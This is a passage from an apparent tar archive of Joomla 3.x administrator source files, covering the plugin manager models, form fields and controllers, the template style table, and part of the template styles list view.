 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Methods supporting a list of plugin records.
 *
 * @since  1.6
 */
class PluginsModelPlugins extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'extension_id', 'a.extension_id',
				'name', 'a.name',
				'folder', 'a.folder',
				'element', 'a.element',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'state', 'a.state',
				'enabled', 'a.enabled',
				'access', 'a.access', 'access_level',
				'ordering', 'a.ordering',
				'client_id', 'a.client_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'folder', $direction = 'asc')
	{
		// Load the filter state.
		$search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string');
		$this->setState('filter.search', $search);

		$accessId = $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access', '', 'cmd');
		$this->setState('filter.access', $accessId);

		$state = $this->getUserStateFromRequest($this->context . '.filter.enabled', 'filter_enabled', '', 'cmd');
		$this->setState('filter.enabled', $state);

		$folder = $this->getUserStateFromRequest($this->context . '.filter.folder', 'filter_folder', '', 'string');
		$this->setState('filter.folder', $folder);

		$element = $this->getUserStateFromRequest($this->context . '.filter.element', 'filter_element', '', 'string');
		$this->setState('filter.element', $element);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_plugins');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string    A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.enabled');
		$id .= ':' . $this->getState('filter.folder');
		$id .= ':' . $this->getState('filter.element');

		return parent::getStoreId($id);
	}

	/**
	 * Returns an object list.
	 *
	 * @param   JDatabaseQuery  $query       A database query object.
	 * @param   integer         $limitstart  Offset.
	 * @param   integer         $limit       The number of records.
	 *
	 * @return  array
	 */
	protected function _getList($query, $limitstart = 0, $limit = 0)
	{
		$search = $this->getState('filter.search');
		$ordering = $this->getState('list.ordering', 'ordering');

		// If "Sort Table By:" is not set, set ordering to name
		if ($ordering == '')
		{
			$ordering = 'name';
		}

		if ($ordering == 'name' || (!empty($search) && stripos($search, 'id:') !== 0))
		{
			$this->_db->setQuery($query);
			$result = $this->_db->loadObjectList();
			$this->translate($result);

			if (!empty($search))
			{
				$escapedSearchString = $this->refineSearchStringToRegex($search, '/');

				foreach ($result as $i => $item)
				{
					if (!preg_match("/$escapedSearchString/i", $item->name))
					{
						unset($result[$i]);
					}
				}
			}

			$orderingDirection = strtolower($this->getState('list.direction'));
			$direction         = ($orderingDirection == 'desc') ? -1 : 1;
			$result = ArrayHelper::sortObjects($result, $ordering, $direction, true, true);

			$total = count($result);
			$this->cache[$this->getStoreId('getTotal')] = $total;

			if ($total < $limitstart)
			{
				$limitstart = 0;
				$this->setState('list.start', 0);
			}

			return array_slice($result, $limitstart, $limit ?: null);
		}
		else
		{
			if ($ordering == 'ordering')
			{
				$query->order('a.folder ASC');
				$ordering = 'a.ordering';
			}

			$query->order($this->_db->quoteName($ordering) . ' ' . $this->getState('list.direction'));

			if ($ordering == 'folder')
			{
				$query->order('a.ordering ASC');
			}

			$result = parent::_getList($query, $limitstart, $limit);
			$this->translate($result);

			return $result;
		}
	}

	/**
	 * Translate a list of objects.
	 *
	 * @param   array  &$items  The array of objects.
	 *
	 * @return  array The array of translated objects.
	 */
	protected function translate(&$items)
	{
		$lang = JFactory::getLanguage();

		foreach ($items as &$item)
		{
			$source = JPATH_PLUGINS . '/' . $item->folder . '/' . $item->element;
			$extension = 'plg_' . $item->folder . '_' . $item->element;
			$lang->load($extension . '.sys', JPATH_ADMINISTRATOR, null, false, true)
				|| $lang->load($extension . '.sys', $source, null, false, true);
			$item->name = JText::_($item->name);
		}
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.extension_id , a.name, a.element, a.folder, a.checked_out, a.checked_out_time,' .
					' a.enabled, a.access, a.ordering'
			)
		)
			->from($db->quoteName('#__extensions') . ' AS a')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'));

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')
			->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where('a.access = ' . (int) $access);
		}

		// Filter by published state.
		$published = $this->getState('filter.enabled');

		if (is_numeric($published))
		{
			$query->where('a.enabled = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.enabled IN (0, 1))');
		}

		// Filter by state.
		$query->where('a.state >= 0');

		// Filter by folder.
		if ($folder = $this->getState('filter.folder'))
		{
			$query->where('a.folder = ' . $db->quote($folder));
		}

		// Filter by element.
		if ($element = $this->getState('filter.element'))
		{
			$query->where('a.element = ' . $db->quote($element));
		}

		// Filter by search in name or id.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.extension_id = ' . (int) substr($search, 3));
			}
		}

		return $query;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return	mixed	The data for the form.
	 *
	 * @since	3.5
	 */
	protected function loadFormData()
	{
		$data = parent::loadFormData();

		// Set the selected filter values for pages that use the JLayouts for filtering
		$data->list['sortTable'] = $this->state->get('list.ordering');
		$data->list['directionTable'] = $this->state->get('list.direction');

		return $data;
	}
}
com_plugins/models/fields/plugintype.php000060400000001551152455305270014533 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PluginsHelper', JPATH_ADMINISTRATOR . '/components/com_plugins/helpers/plugins.php');

JFormHelper::loadFieldClass('list');

/**
 * Plugin Type field.
 *
 * @since  3.5
 */
class JFormFieldPluginType extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'PluginType';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.5
	 */
	public function getOptions()
	{
		$options = PluginsHelper::folderOptions();

		return array_merge(parent::getOptions(), $options);
	}
}
com_plugins/models/fields/pluginelement.php000060400000001571152455305270015205 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PluginsHelper', JPATH_ADMINISTRATOR . '/components/com_plugins/helpers/plugins.php');

JFormHelper::loadFieldClass('list');

/**
 * Plugin Element field.
 *
 * @since  3.9.0
 */
class JFormFieldPluginElement extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'PluginElement';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.9.0
	 */
	public function getOptions()
	{
		$options = PluginsHelper::elementOptions();

		return array_merge(parent::getOptions(), $options);
	}
}
com_plugins/models/fields/pluginordering.php000060400000002625152455305270015366 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('ordering');

/**
 * Supports an HTML select list of plugins.
 *
 * @since  1.6
 */
class JFormFieldPluginordering extends JFormFieldOrdering
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since   1.6
	 */
	protected $type = 'Pluginordering';

	/**
	 * Builds the query for the ordering list.
	 *
	 * @return  JDatabaseQuery  The query for the ordering form field.
	 */
	protected function getQuery()
	{
		$db     = JFactory::getDbo();
		$folder = $this->form->getValue('folder');

		// Build the query for the ordering list.
		$query = $db->getQuery(true)
			->select(
				array(
					$db->quoteName('ordering', 'value'),
					$db->quoteName('name', 'text'),
					$db->quoteName('type'),
					$db->quote('folder'),
					$db->quote('extension_id')
				)
			)
			->from($db->quoteName('#__extensions'))
			->where('(type =' . $db->quote('plugin') . 'AND folder=' . $db->quote($folder) . ')')
			->order('ordering');

		return $query;
	}

	/**
	 * Retrieves the current Item's Id.
	 *
	 * @return  integer  The current item ID.
	 */
	protected function getItemId()
	{
		return (int) $this->form->getValue('extension_id');
	}
}
com_plugins/models/plugin.php000060400000022524152455305270012366 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Plugin model.
 *
 * @since  1.6
 */
class PluginsModelPlugin extends JModelAdmin
{
	/**
	 * @var     string  The help screen key for the module.
	 * @since   1.6
	 */
	protected $helpKey = 'JHELP_EXTENSIONS_PLUGIN_MANAGER_EDIT';

	/**
	 * @var     string  The help screen base URL for the module.
	 * @since   1.6
	 */
	protected $helpURL;

	/**
	 * @var     array  An array of cached plugin items.
	 * @since   1.6
	 */
	protected $_cache;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 */
	public function __construct($config = array())
	{
		$config = array_merge(
			array(
				'event_after_save'  => 'onExtensionAfterSave',
				'event_before_save' => 'onExtensionBeforeSave',
				'events_map'        => array(
					'save' => 'extension'
				)
			), $config
		);

		parent::__construct($config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm    A JForm object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// The folder and element vars are passed when saving the form.
		if (empty($data))
		{
			$item    = $this->getItem();
			$folder  = $item->folder;
			$element = $item->element;
		}
		else
		{
			$folder  = ArrayHelper::getValue($data, 'folder', '', 'cmd');
			$element = ArrayHelper::getValue($data, 'element', '', 'cmd');
		}

		// Add the default fields directory
		JForm::addFieldPath(JPATH_PLUGINS . '/' . $folder . '/' . $element . '/field');

		// These variables are used to add data from the plugin XML files.
		$this->setState('item.folder', $folder);
		$this->setState('item.element', $element);

		// Get the form.
		$form = $this->loadForm('com_plugins.plugin', 'plugin', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('enabled', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('enabled', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_plugins.edit.plugin.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_plugins.plugin', $data);

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 */
	public function getItem($pk = null)
	{
		$pk = (!empty($pk)) ? $pk : (int) $this->getState('plugin.id');

		if (!isset($this->_cache[$pk]))
		{
			// Get a row instance.
			$table = $this->getTable();

			// Attempt to load the row.
			$return = $table->load($pk);

			// Check for a table object error.
			if ($return === false && $table->getError())
			{
				$this->setError($table->getError());

				return false;
			}

			// Convert to the JObject before adding other data.
			$properties = $table->getProperties(1);
			$this->_cache[$pk] = ArrayHelper::toObject($properties, 'JObject');

			// Convert the params field to an array.
			$registry = new Registry($table->params);
			$this->_cache[$pk]->params = $registry->toArray();

			// Get the plugin XML.
			$path = JPath::clean(JPATH_PLUGINS . '/' . $table->folder . '/' . $table->element . '/' . $table->element . '.xml');

			if (file_exists($path))
			{
				$this->_cache[$pk]->xml = simplexml_load_file($path);
			}
			else
			{
				$this->_cache[$pk]->xml = null;
			}
		}

		return $this->_cache[$pk];
	}

	/**
	 * Returns a reference to the Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate.
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable	A database object
	 */
	public function getTable($type = 'Extension', $prefix = 'JTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		// Execute the parent method.
		parent::populateState();

		$app = JFactory::getApplication('administrator');

		// Load the User state.
		$pk = $app->input->getInt('extension_id');
		$this->setState('plugin.id', $pk);
	}

	/**
	 * Preprocess the form.
	 *
	 * @param   JForm   $form   A form object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  Cache group name.
	 *
	 * @return  mixed  True if successful.
	 *
	 * @throws	Exception if there is an error in the form event.
	 * @since   1.6
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		jimport('joomla.filesystem.path');

		$folder  = $this->getState('item.folder');
		$element = $this->getState('item.element');
		$lang    = JFactory::getLanguage();

		// Load the core and/or local language sys file(s) for the ordering field.
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('element'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote($folder));
		$db->setQuery($query);
		$elements = $db->loadColumn();

		foreach ($elements as $elementa)
		{
			$lang->load('plg_' . $folder . '_' . $elementa . '.sys', JPATH_ADMINISTRATOR, null, false, true)
			|| $lang->load('plg_' . $folder . '_' . $elementa . '.sys', JPATH_PLUGINS . '/' . $folder . '/' . $elementa, null, false, true);
		}

		if (empty($folder) || empty($element))
		{
			$app = JFactory::getApplication();
			$app->redirect(JRoute::_('index.php?option=com_plugins&view=plugins', false));
		}

		$formFile = JPath::clean(JPATH_PLUGINS . '/' . $folder . '/' . $element . '/' . $element . '.xml');

		if (!file_exists($formFile))
		{
			throw new Exception(JText::sprintf('COM_PLUGINS_ERROR_FILE_NOT_FOUND', $element . '.xml'));
		}

		// Load the core and/or local language file(s).
			$lang->load('plg_' . $folder . '_' . $element, JPATH_ADMINISTRATOR, null, false, true)
		||	$lang->load('plg_' . $folder . '_' . $element, JPATH_PLUGINS . '/' . $folder . '/' . $element, null, false, true);

		if (file_exists($formFile))
		{
			// Get the plugin form.
			if (!$form->loadFile($formFile, false, '//config'))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}
		}

		// Attempt to load the xml file.
		if (!$xml = simplexml_load_file($formFile))
		{
			throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
		}

		// Get the help data from the XML file if present.
		$help = $xml->xpath('/extension/help');

		if (!empty($help))
		{
			$helpKey = trim((string) $help[0]['key']);
			$helpURL = trim((string) $help[0]['url']);

			$this->helpKey = $helpKey ?: $this->helpKey;
			$this->helpURL = $helpURL ?: $this->helpURL;
		}

		// Trigger the default form events.
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   object  $table  A record object.
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		$condition = array();
		$condition[] = 'type = ' . $this->_db->quote($table->type);
		$condition[] = 'folder = ' . $this->_db->quote($table->folder);

		return $condition;
	}

	/**
	 * Override method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		// Setup type.
		$data['type'] = 'plugin';

		return parent::save($data);
	}

	/**
	 * Get the necessary data to load an item help screen.
	 *
	 * @return  object  An object with key, url, and local properties for loading the item help screen.
	 *
	 * @since   1.6
	 */
	public function getHelp()
	{
		return (object) array('key' => $this->helpKey, 'url' => $this->helpURL);
	}

	/**
	 * Custom clean cache method, plugins are cached in 2 places for different clients.
	 *
	 * @param   string   $group     Cache group name.
	 * @param   integer  $clientId  Application client id.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		parent::cleanCache('com_plugins', 0);
		parent::cleanCache('com_plugins', 1);
	}
}
com_plugins/plugins.xml000060400000001747152455305270011303 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_plugins</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_PLUGINS_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>plugins.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_plugins.ini</language>
			<language tag="en-GB">language/en-GB.com_plugins.sys.ini</language>
		</languages>
	</administration>
</extension>
com_plugins/plugins.php000060400000001126152455305270011261 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_plugins'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Plugins');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_plugins/controllers/plugins.php000060400000001546152455305270013635 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugins list controller class.
 *
 * @since  1.6
 */
class PluginsControllerPlugins extends JControllerAdmin
{
	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Plugin', $prefix = 'PluginsModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_plugins/controllers/plugin.php000060400000000571152455305270013447 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin controller class.
 *
 * @since  1.6
 */
class PluginsControllerPlugin extends JControllerForm
{
}
com_templates/tables/style.php000060400000006176152455305270012541 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Template style table class.
 *
 * @since  1.6
 */
class TemplatesTableStyle extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  &$db  A database connector object
	 *
	 * @since   1.6
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__template_styles', 'id', $db);
	}

	/**
	 * Overloaded bind function to pre-process the params.
	 *
	 * @param   array  $array   Named array
	 * @param   mixed  $ignore  An optional array or space separated list of properties to ignore while binding.
	 *
	 * @return  null|string	null if operation was satisfactory, otherwise returns an error
	 *
	 * @since   1.6
	 */
	public function bind($array, $ignore = '')
	{
		if (isset($array['params']) && is_array($array['params']))
		{
			$registry = new Registry($array['params']);
			$array['params'] = (string) $registry;
		}

		// Verify that the default style is not unset
		if ($array['home'] == '0' && $this->home == '1')
		{
			$this->setError(JText::_('COM_TEMPLATES_ERROR_CANNOT_UNSET_DEFAULT_STYLE'));

			return false;
		}

		return parent::bind($array, $ignore);
	}

	/**
	 * Overloaded check method to ensure data integrity.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function check()
	{
		if (empty($this->title))
		{
			$this->setError(JText::_('COM_TEMPLATES_ERROR_STYLE_REQUIRES_TITLE'));

			return false;
		}

		return true;
	}

	/**
	 * Overloaded store method to ensure unicity of default style.
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		if ($this->home != '0')
		{
			$query = $this->_db->getQuery(true)
				->update('#__template_styles')
				->set('home=\'0\'')
				->where('client_id=' . (int) $this->client_id)
				->where('home=' . $this->_db->quote($this->home));
			$this->_db->setQuery($query);
			$this->_db->execute();
		}

		return parent::store($updateNulls);
	}

	/**
	 * Overloaded store method to unsure existence of a default style for a template.
	 *
	 * @param   mixed  $pk  An optional primary key value to delete.  If not set the instance property value is used.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function delete($pk = null)
	{
		$k = $this->_tbl_key;
		$pk = is_null($pk) ? $this->$k : $pk;

		if (!is_null($pk))
		{
			$query = $this->_db->getQuery(true)
				->from('#__template_styles')
				->select('id')
				->where('client_id=' . (int) $this->client_id)
				->where('template=' . $this->_db->quote($this->template));
			$this->_db->setQuery($query);
			$results = $this->_db->loadColumn();

			if (count($results) == 1 && $results[0] == $pk)
			{
				$this->setError(JText::_('COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE'));

				return false;
			}
		}

		return parent::delete($pk);
	}
}
com_templates/views/styles/tmpl/default.php000060400000015574152455305270015211 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$clientId = (int) $this->state->get('client_id', 0);
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$colSpan = $clientId === 1 ? 5 : 6;
?>
<form action="<?php echo JRoute::_('index.php?option=com_templates&view=styles'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('selectorFieldName' => 'client_id'))); ?>
		<?php if ($this->total > 0) : ?>
			<table class="table table-striped" id="styleList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center">
							&#160;
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_TEMPLATES_HEADING_STYLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'COM_TEMPLATES_HEADING_DEFAULT', 'a.home', $listDirn, $listOrder); ?>
						</th>
						<?php if ($clientId === 0) : ?>
						<th width="20%" class="nowrap hidden-phone">
							<?php echo JText::_('COM_TEMPLATES_HEADING_PAGES'); ?>
						</th>
						<?php endif; ?>
						<th width="30%" class="hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_TEMPLATES_HEADING_TEMPLATE', 'a.template', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="<?php echo $colSpan; ?>">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) :
						$canCreate = $user->authorise('core.create',     'com_templates');
						$canEdit   = $user->authorise('core.edit',       'com_templates');
						$canChange = $user->authorise('core.edit.state', 'com_templates');
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td width="1%" class="center">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>
						<td>
							<?php if ($this->preview && $item->client_id == '0') : ?>
								<a target="_blank" href="<?php echo JUri::root() . 'index.php?tp=1&templateStyle=' . (int) $item->id ?>" class="jgrid">
								<span class="icon-eye-open hasTooltip" aria-hidden="true" title="<?php echo JHtml::_('tooltipText', JText::_('COM_TEMPLATES_TEMPLATE_PREVIEW'), $item->title, 0); ?>"></span>
								<span class="element-invisible"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_PREVIEW'); ?></span>
								</a>
							<?php elseif ($item->client_id == '1') : ?>
								<span class="icon-eye-close disabled hasTooltip" aria-hidden="true" title="<?php echo JHtml::_('tooltipText', 'COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN'); ?>"></span>
								<span class="element-invisible"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN'); ?></span>
							<?php else: ?>
								<span class="icon-eye-close disabled hasTooltip" aria-hidden="true" title="<?php echo JHtml::_('tooltipText', 'COM_TEMPLATES_TEMPLATE_NO_PREVIEW'); ?>"></span>
								<span class="element-invisible"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_NO_PREVIEW'); ?></span>
							<?php endif; ?>
							<?php if ($canEdit) : ?>
							<a href="<?php echo JRoute::_('index.php?option=com_templates&task=style.edit&id=' . (int) $item->id); ?>">
								<?php echo $this->escape($item->title); ?></a>
							<?php else : ?>
								<?php echo $this->escape($item->title); ?>
							<?php endif; ?>
						</td>
						<td class="center">
							<?php if ($item->home == '0' || $item->home == '1') : ?>
								<?php echo JHtml::_('jgrid.isdefault', $item->home != '0', $i, 'styles.', $canChange && $item->home != '1'); ?>
							<?php elseif ($canChange) : ?>
								<a href="<?php echo JRoute::_('index.php?option=com_templates&task=styles.unsetDefault&cid[]=' . $item->id . '&' . JSession::getFormToken() . '=1'); ?>">
									<?php if ($item->image) : ?>
										<?php echo JHtml::_('image', 'mod_languages/' . $item->image . '.gif', $item->language_title, array('title' => JText::sprintf('COM_TEMPLATES_GRID_UNSET_LANGUAGE', $item->language_title)), true); ?>
									<?php else : ?>
										<span class="label" title="<?php echo JText::sprintf('COM_TEMPLATES_GRID_UNSET_LANGUAGE', $item->language_title); ?>"><?php echo $item->language_sef; ?></span>
									<?php endif; ?>
								</a>
							<?php else : ?>
								<?php if ($item->image) : ?>
									<?php echo JHtml::_('image', 'mod_languages/' . $item->image . '.gif', $item->language_title, array('title' => $item->language_title), true); ?>
								<?php else : ?>
									<span class="label" title="<?php echo $item->language_title; ?>"><?php echo $item->language_sef; ?></span>
								<?php endif; ?>
							<?php endif; ?>
						</td>
						<?php if ($clientId === 0) : ?>
						<td class="small hidden-phone">
							<?php if ($item->home == '1') : ?>
								<?php echo JText::_('COM_TEMPLATES_STYLES_PAGES_ALL'); ?>
							<?php elseif ($item->home != '0' && $item->home != '1') : ?>
								<?php echo JText::sprintf('COM_TEMPLATES_STYLES_PAGES_ALL_LANGUAGE', $this->escape($item->language_title)); ?>
							<?php elseif ($item->assigned > 0) : ?>
								<?php echo JText::sprintf('COM_TEMPLATES_STYLES_PAGES_SELECTED', $this->escape($item->assigned)); ?>
							<?php else : ?>
								<?php echo JText::_('COM_TEMPLATES_STYLES_PAGES_NONE'); ?>
							<?php endif; ?>
						</td>
						<?php endif; ?>
						<td class="hidden-phone hidden-tablet">
